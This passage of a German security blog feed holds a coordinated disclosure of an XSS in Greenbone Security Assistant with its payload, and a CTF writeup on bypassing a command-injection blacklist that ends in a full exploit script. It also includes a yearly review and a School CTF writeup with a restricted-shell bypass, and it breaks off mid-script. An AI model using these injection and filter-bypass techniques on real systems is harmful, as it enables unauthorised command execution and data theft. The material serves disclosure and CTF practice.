<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>https://[DOMAIN.tld]/omp?cmd=get_aggregate&xml=0&aggregate_type=nvt&group_column=severity&filt_id=1337&token=guest</span></code></pre></td></tr></table></div></figure>


<p>Der Parameter <code>aggregate_type</code> wurde dabei nicht korrekt gesichert, sodass es im Script-Kontext zu einer einfachen XSS kam. Setzt man <code>aggregate_type=nvt"-alert(document.domain)-"</code>, dann folgt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>        DataSource ("get_aggregate",
</span><span class='line'>                    {xml:1,
</span><span class='line'>                     aggregate_type:"nvt"-alert(document.domain)-"",
</span><span class='line'>                     group_column:"severity",
</span><span class='line'>                     data_column:"",
</span><span class='line'>                     filter:"",
</span><span class='line'>                     filt_id:"1337"});
</span><span class='line'>
</span><span class='line'>    title_total ("Nvts"-alert(document.domain)-" by severity",
</span><span class='line'>                 "count")
</span><span class='line'>
</span><span class='line'>Chart (gsa.data_sources ["aggregate-source"],
</span><span class='line'>        gsa.generators ["aggregate-generator"],
</span><span class='line'>        gsa.displays ["aggregate-display"],
</span><span class='line'>        "aggregate-chart",
</span><span class='line'>        "Nvt"-alert(document.domain)-" by severity",
</span><span class='line'>        "/img/charts/severity-bar-chart.png",
</span><span class='line'>        1,
</span><span class='line'>        "",
</span><span class='line'>        "");</span></code></pre></td></tr></table></div></figure>


<p>Leider benötigt man für einen erfolgreichen Angriff den Wert des Parameters <code>token</code>. Ist der Gastmodus aktiviert, wie z.B. <a href="https://secinfo.greenbone.net/login/login.html">in der Demo</a>, so reicht es aus, <code>token=guest</code> zu setzen.</p>

<h2>Weiterer, kleiner Bug</h2>

<p>Der folgende Bug wurde im Laufe des Updates direkt mit behoben.
Folgendes Verhalten konnte beobachtet werden:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>GET //internetwache.org/? HTTP/1.1
</span><span class='line'>Host: secinfo.greenbone.net
</span><span class='line'>Connection: close</span></code></pre></td></tr></table></div></figure>


<p>führte zu:</p>

<p><code>&lt;a href="https://www.internetwache.org//internetwache.org/?r=1&amp;amp;=&amp;amp;token=guest"&gt;Login as a guest&lt;/a&gt;</code></p>

<p>Alle Zeichen des Pfades im GET-Request wurden im href-Attribut wiedergegeben. Leider ist ein <code>GET javascript:alert(1)</code> nicht im Browser nachstellbar (ein führender Slash wird benötigt), sodass hier mit Glück im Unglück eine XSS verhindert werden konnte. Es bleibt die Möglichkeit per relativem Protokoll den Link zu manipulieren, sodass ein Benutzer beim Klick auf &#8220;Login als Gast&#8221; beliebig weitergeleitet werden kann.</p>

<h2>Details</h2>

<ul>
<li>Produkt: Greenbone Security Assistant ≥ 6.0.0 and &lt; 6.0.8</li>
<li>Hersteller: <a href="http://www.openvas.org/">OpenVAS</a></li>
<li>Risiko: Niedrig, CVSS 1.9 (AV:A/AC:M/Au:M/C:P/I:N/A:N)</li>
<li><a href="https://www.cert-bund.de/advisoryshort/CB-K16-0058">Bund-CERT Meldung</a></li>
</ul>


<p>Die Kommunikation mit der Sicherheitsabteilung der Greenbone GmbH war sehr angenehm:</p>

<ul>
<li>07.01.2016: XSS entdeckt und Hersteller informiert.</li>
<li>08.01.2016, 08:00: Bestätigung vom Hersteller und Aussage, dass bereits am Problem gearbeitet wird</li>
<li>08.01.2016, 17:30: Fix bereits fertig, wird noch ausgiebig getestet.</li>
<li>09.01.2016: Update für Greenbone Security Manager veröffentlicht: <a href="http://greenbone.net/technology/gbsa2016-01.html">Advisory GBSA 2016-01</a></li>
<li>13.01.2016: Update für OpenVAS veröffentlicht: <a href="http://www.openvas.org/OVSA20160113.html">Advisory OVSA 20160113</a></li>
<li>18.01.2016: CVE-2016-1926 von MITRE zugewiesen</li>
</ul>


<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Insomni'hack Teaser CTF 2016 - Smartcat2 writeup]]></title>
    <link href="https://www.internetwache.org/insomnihack-teaser-ctf-2016-smartcat2-writeup-18-01-2016/"/>
    <updated>2016-01-18T19:44:00+01:00</updated>
    <id>https://www.internetwache.org/insomnihack-teaser-ctf-2016-smartcat2-writeup</id>
    <content type="html"><![CDATA[<p>Sebastian schloss sich für den <a href="http://teaser.insomnihack.ch">Insomnihack teaser CTF 2016</a> dem Team ENOFLAG an. In diesem Blogpost geht es um den ausgedachten Workaround für die smartcat2 (web0) Challenge.</p>

<!-- more -->


<p>Ich habe selbst smartcat1 nicht gelöst, da als ich beim Treffpunkt ankam, Denis <a href="https://twitter.com/nobbd">@nobbd</a> diese challenge bereits gelöst hatte und wir direkt mit smartcat2 weitemachten. Nachdem wir auch diese erfolgreich lösten, wurde uns mitgeteilt, dass wir nicht die intendierte Lösung genutzt haben, sodass wir gerne unseren Lösungsweg, nämlich den Bypass des Filters, beschreiben möchten.</p>

<p><strong>Note to myself:</strong> Die Burp Instanzen öfters mal speichern und mehr Notizen machen, um bessere Writeups schreiben zu können. (Ich schreibe das aus meinem Gedächtnis heraus und habe wahrscheinlich (wichtige) Gedanken/Entscheidungen vergessen)</p>

<h1>Smartcat2</h1>

<p>Zunächst erstmal ein paar Worte zu der Challenge. Es war eine Webseite die uns erlaubte, eine IP Adresse zu pingen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>POST /cgi-bin/index.cgi?c= HTTP/1.1
</span><span class='line'>Host: smartcat.insomnihack.ch
</span><span class='line'>Connection: close
</span><span class='line'>Content-Type: application/x-www-form-urlencoded
</span><span class='line'>Content-Length: 26
</span><span class='line'>
</span><span class='line'>dest=127.0.0.1</span></code></pre></td></tr></table></div></figure>


<p>Wie wir bereits in smartcat1 gelernt haben, konnte man Kommands ausführen, in dem man diese mit Zeilenumbrüchen (<code>\n</code> aka <code>%0A</code>) separierte. Zum Beispiel würde  <code>dest=127.0.0.1%0Als</code> das Programm <code>ls</code> ausführen. Wie auch immer, es gab eine Blacklist mit unerlaubten Zeichen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>blacklist = " $;&|({`\t"
</span><span class='line'>for badchar in blacklist:
</span><span class='line'>        if badchar in dest:
</span><span class='line'>                results = "Bad character %s in dest" % badchar
</span><span class='line'>                break</span></code></pre></td></tr></table></div></figure>


<p>Wir können keine Kommandos ausführen, welche Parameter benötigen, da Leerzeichen Teil der Blacklist sind. Der Standard-Bypass mit <code>$IFS</code> funktioniert auch nicht, da <code>$</code> ebenfalls auf der Blacklist ist. Wir können aber <code>&lt;</code> und <code>&gt;</code> anstatt der Pipe (<code>|</code>) für die meisten Shell-Kommandos nutzen, um die Aus- bzw. Eingaben umzuleiten.</p>

<p>Die erste Sache die mich interessierte war, welche Shell genutzt wird. <code>pstree</code> bzw. <code>ps</code> oder ein ähnliches Kommando zeigte eine Menge <code>sh</code> Prozesse, sodass wohl dies die Shell darstellte. Somit leider keine Bash-Magic anwendbar.</p>

<p>Nach einer Weile Rumspielen mit <code>find</code> und <code>cat</code> fanden wir den Hinweis, dass die Flagge sich im Ordner <code>/home/smartcat</code> befindet. Allerdings sucht <code>find</code> vom aktuellen Arbeitsverzeichnis aus (<code>/var/www/cgi-bin/</code>) und wir können dieses nicht bearbeiten, oder doch?</p>

<h2>Variablen nutzen</h2>

<p>Was wir brauchten war etwas wie <code>cd DIR</code>, aber Leerzeichen sind immernoch auf der Blacklist. Die Manpage von <code>cd</code> brachte uns aber bei, dass <code>If DIRECTORY is supplied, it will become the new directory. If no parameter is given, the contents of the HOME environment variable will be used.</code> (Wenn DIRECTORY gegeben ist, dann wird in diesen Ordner gewechselt. Ansonsten wird die Variable <code>HOME</code> verwendet.) Mal schauen, ob wir den Wert der <code>HOME</code>-Variable zu <code>/home/smartcat</code> ändern können. Das Setzen von Umgebungsvariablen in der <code>sh</code> ist so einfach wie das Ausführen von <code>VARIABLE=VALUE</code>. Demnach haben wir zum Auflisten der Inhalte in <code>/home/smartcat</code> die folgende Eingabe genutzt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>dest=127.0.0.1%0AHOME=/home/smartcat%0Acd%0Als</span></code></pre></td></tr></table></div></figure>


<p>Super, wir sehen nun alle Dateien in dem Ordner. Diesen Ansatz können wir nutzen, um in beliebige Ordner zu wechseln und uns die Inhalte anzeigen zu lassen. Allerdings können wir <code>flag2</code> nicht lesen, da uns die nötigen Leserechte fehlen, aber wir können das Programm <code>readlfag</code> ausführen. <code>%0Astrings&lt;./readflag</code> führt uns zum nächsten Teil der Aufgabe:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.Do not include the quotes. Each part is a different line.</span></code></pre></td></tr></table></div></figure>


<h2>Blacklist bypass</h2>

<p>Wie man wahrscheinlich weiß, sind Blacklists immer schlecht und fast immer umgehbar. Wir brauchten einen Platz in das wir unseren Code abladen konnten, also einen Ordner mit Schreibrechten. Es stellte sich heraus, dass wir Schreib-, aber keine Ausführungsrechte auf <code>/tmp</code> hatten. Wir überzeugten uns davon mit <code>ls&gt;/tmp/x</code> gefolgt von <code>cat&lt;/tmp/x</code>.</p>

<p>Super, wir können also beliebige Dateien in <code>/tmp</code> schreiben und ausführen. Aber wie füllt man diese Dateien mit Leben? Ich kam auf die Idee sog. <code>here documents</code> zu nutzen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>cat&lt;&lt;EOF&gt;/tmp/file
</span><span class='line'>helloworld
</span><span class='line'>EOF</span></code></pre></td></tr></table></div></figure>




<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>dest=127.0.0.1%0Acat&lt;&lt;EOF&gt;/tmp/file%0Ahelloworld%0AEOF%0Als</span></code></pre></td></tr></table></div></figure>


<p>Alles zwischen <code>EOF</code> und <code>EOF</code> wird dann in die Datei <code>/tmp/file</code> geschrieben. Der nächste Schritt bestand also darin, irgendwie ein Programm hochzuladen oder zu schreiben, was auf dem Server die <code>readflag</code> Binary ausführen und die Flagge anzeigen würde.</p>

<p>Während wir darüber nachdachten, wie wir Quelltext schreiben könnten, ohne Zeichen der Blacklist zu verweden, ließen wir ein <code>HOME=/%0Acd%0Afind&gt;/tmp/files</code> laufen, um eine Liste aller Dateien auf dem Server zu bekommen. Der Request lief ins Timeout, aber lange genug, um einige Dateien aus dem <code>/bin</code>, <code>/usr/bin</code> aufzulisten. Einige Tools die wir als nützlich einstuften:</p>

<ul>
<li>python2 / python3</li>
<li>gcc / g++</li>
<li>ftp / rsync / curl / wget</li>
<li>gzip / gunzip / zip / unzip</li>
</ul>


<p>Ich versuchte erst irgendwie <code>gzip</code> oder <code>zip</code> zu missbrauchen, um ein Leerzeichen in einer Datei zu komprimieren und zu hoffen, dass in der Ausgabe keine Zeichen der Blacklist vorhanden sind. Unglücklicherweise klappte das Entpacken auf dem Server nicht richtig. Genau das war der Augenblick in dem Denis die geniale Idee hatte Python2 und dessen <code>print</code> Anweisung zu nutzen, um den Filter zu umgehen. In Python2 braucht man weder Klammern noch Leerzeichen, um etwas mit <code>print</code> auszugeben.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>print'hello world'</span></code></pre></td></tr></table></div></figure>


<p>Zusätzlich kann man Zeichen mit <code>\xYY</code> kodieren. Wir schrieben ein Shellscript für die <code>readflag</code> Binary:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>echo "Give me a...";sleep 2;echo "... flag!"</span></code></pre></td></tr></table></div></figure>


<p>&#8230; und kodierten alle Zeichen der Blacklist:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>print'''echo\x20"Give\x20me\x20a..."\x3bsleep\x202\x3becho\x20"...\x20flag!"'''</span></code></pre></td></tr></table></div></figure>


<p>Danach nutzten wir unser here-document-cat um das Python-Script in <code>/tmp/print.py</code> zu erzeugen, gefolgt durch die Ausführung mit: <code>%0Apython&lt;/tmp/print.py&gt;/tmp/getflag.sh</code> Wir wiederholten diesen Schritt für ein zweites Shellscript, welches unser vorheriges ausführte:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sh /tmp/getflag.sh | /home/smartcat/readflag</span></code></pre></td></tr></table></div></figure>


<p>Letzendlich führten wir das zuletzt erstellte Shellscript aus, um die Flagge zu erhalten: <code>%0Ash&lt;/tmp/runflag.sh&gt;/tmp/ourflag</code> und <code>%0Acat&lt;/tmp/ourflag</code> zum Lesen der Flagge: <code>INS{shells_are _way_better_than_cats}</code></p>

<p>Insgesamt war es eine ziemlich colle Challenge :)</p>

<p>The team of internetwache.org</p>

<p>Kompletter Exploit:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>import requests
</span><span class='line'>
</span><span class='line'># we have a cgi script and can execute remote commands
</span><span class='line'># problem: our command must not include any of: " $;&|({`\t"
</span><span class='line'># we solve this by using python to print the payload into a file
</span><span class='line'># this is we can encode any of the special characters and python doesn't need a whitespace between the print and the ''s
</span><span class='line'>
</span><span class='line'>
</span><span class='line'># upload first script 
</span><span class='line'># echo "Give me a...";sleep 2;echo "... flag!"
</span><span class='line'># encoded: 
</span><span class='line'># print'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "144"}, data={"dest": "127.0.0.1\ncat&lt;&lt;bbb&gt;/tmp/tftf\nprint'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''\nbbb"})
</span><span class='line'>
</span><span class='line'># upload second script
</span><span class='line'># /bin/sh /tmp/denis | /home/smartcat/readflag
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "133"}, data={"dest": "127.0.0.1\ncat&lt;&lt;bbb&gt;/tmp/tftf2\nprint'''/bin/sh\\x20/tmp/denis\\x20\\x7c\\x20/home/smartcat/readflag'''\nbbb"})
</span><span class='line'>
</span><span class='line'># interprete first script and write to file
</span><span class='line'># python&lt;/tmp/tftf&gt;/tmp/denis
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "65"}, data={"dest": "127.0.0.1\npython&lt;/tmp/tftf&gt;/tmp/denis"})
</span><span class='line'>
</span><span class='line'># pythin interprete second script and write to file
</span><span class='line'># python&lt;/tmp/tftf2&gt;/tmp/rundenis
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "69"}, data={"dest": "127.0.0.1\npython&lt;/tmp/tftf2&gt;/tmp/rundenis"})
</span><span class='line'>
</span><span class='line'># execute second script and write to denisflag
</span><span class='line'># /bin/sh&lt;/tmp/rundenis&gt;/tmp/denisflag
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "84"}, data={"dest": "127.0.0.1\n\nHOME=/home/smartcat/\ncd\n/bin/sh&lt;/tmp/rundenis&gt;/tmp/denisflag"})
</span><span class='line'>
</span><span class='line'># read flag file
</span><span class='line'># cat&lt;/tmp/denisflag
</span><span class='line'>t = requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "56"}, data={"dest": "127.0.0.1\ncat&lt;/tmp/denisflag"})
</span><span class='line'>
</span><span class='line'>print t.text</span></code></pre></td></tr></table></div></figure>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Rückblick auf 2015]]></title>
    <link href="https://www.internetwache.org/ruckblick-auf-2015-04-01-2016/"/>
    <updated>2016-01-04T14:58:00+01:00</updated>
    <id>https://www.internetwache.org/ruckblick-auf-2015</id>
    <content type="html"><![CDATA[<p>Wie es mittlerweile bei uns Tradition ist, veröffentlichen wir zu Beginn eines jeden Jahres einen kleinen Rückblick auf das vergangene Jahr und geben eine Vorschau auf das kommende Jahr.</p>

<!-- more -->


<h2>Rückblick auf 2015</h2>

<p>2015 haben wir für das Projekt Internetwache.org insgesamt etwas weniger Zeit aufgewendet als in den Jahren davor. Das sieht man vor allem an der niedrigen Anzahl an veröffentlichten Artikeln (9 Blogposts), aber auch an rückläufigen Positionen im Ranking von Plattformen wie <a href="https://bugcrowd.com/internetwache">Bugcrowd</a> oder <a href="https://hackerone.com/internetwache">HackerOne</a>. Neben der steigenden und offenbar nicht-schlafenden Konkurrenz, liegt es aber daran, dass wir alle anders ausgelastet waren, in anderen Projekten aktiv sind und in unseren Berufen oder an der Universität eingebunden sind.</p>

<p>Wenn wir allerdings etwas auf Internetwache.org veröffentlicht haben, dann hat es sich meist um recht gründliche und tiefgreifende Ergebnisse gehandelt und wurde von einer breiteren Menge oder zumindest unseren Twitter Followern diskutiert.</p>

<p>Als eine Art &#8220;Ritterschlag&#8221; kann man ansehen, dass unsere Arbeit und Analyse der <a href="https://www.internetwache.org/axfr-scan-der-alexa-top-1-million-29-03-2015/">AXFR-Transfers der Alexa Top 1 Millionen</a> zu einem der zwölf <a href="https://www.us-cert.gov/ncas/alerts/TA15-103A">Alerts des US-CERT</a> im Jahr 2015 geführt hat und auch in vielen <a href="http://www.heise.de/security/meldung/Falsch-konfigurierte-DNS-Server-liefern-Angreifern-wertvolle-Tipps-2595206.html">Medienberichten</a> Beachtung gefunden hat.</p>

<p>Eine ähnliche Untersuchung, welche die Analyse von <a href="https://www.internetwache.org/wie-ungeschutzte-git-repositorys-die-sicherheit-ihrer-webseite-gefahrden-eine-analyse-der-alexa-1m-28-07-2015/">nicht geschützten Git-Repositories</a> behandelte fand allerdings weniger Beachtung, da andere Researcher kurz zuvor eine ähnliche Idee hatten - dennoch sind wir mit den Ergebnissen und unserem eigenen Wissenzuwachs sehr zufrieden.</p>

<p>Es gab noch einige weitere Ideen für weiterreichende Untersuchungen, aber leider fehlte zu deren Umsetzung die nötige Zeit, um diese entsprechend qualitativ hochwertig durchführen zu können. Wir hoffen allerdings, diese dieses Jahr nachreichen zu können.</p>

<p>Sebastian hat weitere Projekte ins Leben gerufen. Unter anderem einen weiteren Security-Blog, auf dem persönliche Sachen ausgelagert werden, die nicht unbedingt zu Internetwache.org passen: <a href="https://0day.work">0day.work</a>. Zum Jahresanfang 2015 wurde zudem das <a href="https://bugbounty.me">Bugbounty Portal</a> von ihm gestartet, bislang ist darauf noch nicht besonders viel Aktivität.</p>

<p>Tim hat ein von ihm lang angestrebtes Ziel erreicht und 2015 sein erstes Buch mit dem Titel <a href="http://amzn.to/1Z0ipxA">&#8220;Hacking im Web&#8221;</a> geschrieben in dem auch einige Fälle von Internetwache.org aufgegriffen werden. Das Buch ist in deutscher Sprache, umfasst circa 500 Seiten und erscheint im Franzis Verlag vermutlich im ersten Quartal von 2016.</p>

<p>Zum Abschluss des Jahres haben sich Sebastian und Tim wieder beim 32. Chaos Communication Congress (32c3) in Hamburg getroffen und wie immer hat es viel Spaß gemacht und wir haben eine Menge gelernt. Lustig war, dass Sebastian mit dem Cloudflare-Bugbounty-T-Shirt von einem der Security Mitarbeiter bei Cloudflare angesprochen wurde.</p>

<h2>Ausblick auf 2016</h2>

<p>In der Zukunft haben wir vor die Untersuchung von generischen Sicherheitsrisiken (wie oben angeführt) fortzusetzen und so immer wieder vor globalen Problemen im Bereich Websicherheit zu warnen. Dieses Vorgehen ermöglicht einen guten Überblick über die aktuelle Situation der Websicherheit und hilft möglicherweise einer größeren Menge an Administratoren, als zum Beispiel bestimmte, wenige Webapplikationen zu untersuchen. Nichtsdestotrotz werden wir natürlich weiterhin an Bug Bounty Programmen teilnehmen und der grundsätzlichen <a href="https://www.internetwache.org/idee/">Idee von Internetwache.org</a> treu bleiben.</p>

<p>Die Followerzahl auf unserem Twitter Account: <a href="http://twitter.com/internetwache">@internetwache</a> nährt sich langsam der magischen Grenze &#8220;1000&#8221; - aus diesem Grund planen wir in 2016 eine Community-Aktion, von der wir momentan allerdings noch nicht zu viel verraten möchten. Bleibt also gespannt :)</p>

<p>Seit der Gründung von Internetwache.org im Jahr 2012 war die Sicherheit von Webapplikationen unser Hauptfokus, wir wollen nun allerdings einen Schritt weitergehen. Sebastian möchte in naher Zukunft mehr über die Sicherheits von Apps lernen und wird dieses Jahr seinen Bachelor beenden. Tim möchte etwas mehr über SCADA und ICS lernen und sich Gedanken um Informationsethik im Zeitalter von Big Data und modernen Algorithmen machen.</p>

<p>Wir wünschen Euch viel Erfolg im Jahr 2016!</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[School CTF 2015 Writeups]]></title>
    <link href="https://www.internetwache.org/school-ctf-2015-writeups-06-11-2015/"/>
    <updated>2015-11-06T13:14:00+01:00</updated>
    <id>https://www.internetwache.org/school-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p><a href="https://ctftime.org/event/254">School-CTF</a> war ein kurzes 5 stündiger CTF (Cature the Flag). Nichtdestotrotz wurden gute Challenges angeboten und es hat Spaß gemacht. Internetwache konnte sich auf dem 17ten Platz positionieren.</p>

<!-- more -->


<p>Die Jury hat die Musterlösungen veröffentlicht und viele Ansätze weichen nicht ab. Daher werden wir nur kurz die Lösungen beschreiben, bei denen wir einen anderen Weg gewählt haben.</p>

<h1>Admin 200: Awesome web</h1>

<p>Nach dem Speichern des privaten Schlüssels <code>admin</code>, konnte man sich zu einem der SSH Ports verbinden:</p>

<pre><code>     ssh -v -p 15026 -i /tmp/admin.key -F /dev/null admin@sibears.ru
</code></pre>

<p>Daraufhin begrüßte uns eine einfache Shell:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ ls
</span><span class='line'>flag.txt
</span><span class='line'>admin:~$ ?
</span><span class='line'>cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo</span></code></pre></td></tr></table></div></figure>


<p>Man sieht die Flagge, hat aber nur eine limitierten Satz an Kommandos. Ich probierte einfach <code>history</code> und scrollte durch die Liste von Kommandos, die wohl von anderen CTF Teilnehmern stammten. Glücklicherweise entdeckte ich darin einen komisch aussehenden String, der sich als korrekte Flagge herausstellen sollte: <code>4dm1n_1s_1mp0r74nt_m^^mk3y</code></p>

<p>Wir glauben nicht, dass dies die beabsichtigte Lösung ist, daher wollten wir herausfinden, ob wir mit dem gesetzten Limit die Flagge extrahieren können.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ ls /
</span><span class='line'>*** forbidden path: /
</span><span class='line'>admin:~$ echo $(&lt; flag.txt)
</span><span class='line'>*** forbidden syntax: echo $(&lt; flag.txt)</span></code></pre></td></tr></table></div></figure>


<p>Nach einer längeren Zeit des Rumprobierens und etlichen <code>forbidden syntax</code> Fehlermeldungen, standen wir schon vor der Resignation, als wir dieses Kommando ausprobierten:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ echo "$(cat flag.txt)"
</span><span class='line'>4dm1n_1s_1mp0r74nt_m^^mk3y</span></code></pre></td></tr></table></div></figure>


<p>YAY - Aber wir haben immer noch nicht herausgefunden, ob das eine gültige Lösung oder ein Bypass des Filters ist.</p>

<h1>Crypto 100: Lazy cryptanalyst</h1>

<p>Wir googelten nicht nach der Webseite, welche im Bild zu sehen war, sondern fingen an, ein kleines Pythonscript zu schreiben, welches die Zeichen Schritt-für-Schritt ersetzte.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>text = "bsxz [....] qoiy."
</span><span class='line'>
</span><span class='line'>newtext = ""
</span><span class='line'>
</span><span class='line'>switch = {  'b':'t',
</span><span class='line'>                        's':'h',
</span><span class='line'>                        'x':'i',
</span><span class='line'>                        'z':'s',
</span><span class='line'>                        'u':'f',
</span><span class='line'>                        'm':'y',
</span><span class='line'>                        'o':'m',
</span><span class='line'>                        'i':'e',
</span><span class='line'>                        'q':'a',
</span><span class='line'>                        'g':'o',
</span><span class='line'>                        'v': 'l',
</span><span class='line'>                        'h':'u',
</span><span class='line'>                        'f': 'w',
</span><span class='line'>                        'y': 'n',
</span><span class='line'>                        'j':'k',
</span><span class='line'>                        'w': 'b',
</span><span class='line'>                        'e':'d',
</span><span class='line'>                        'l':'g'
</span><span class='line'>                        }
</span><span class='line'>for char in text:
</span><span class='line'>        if char in switch:
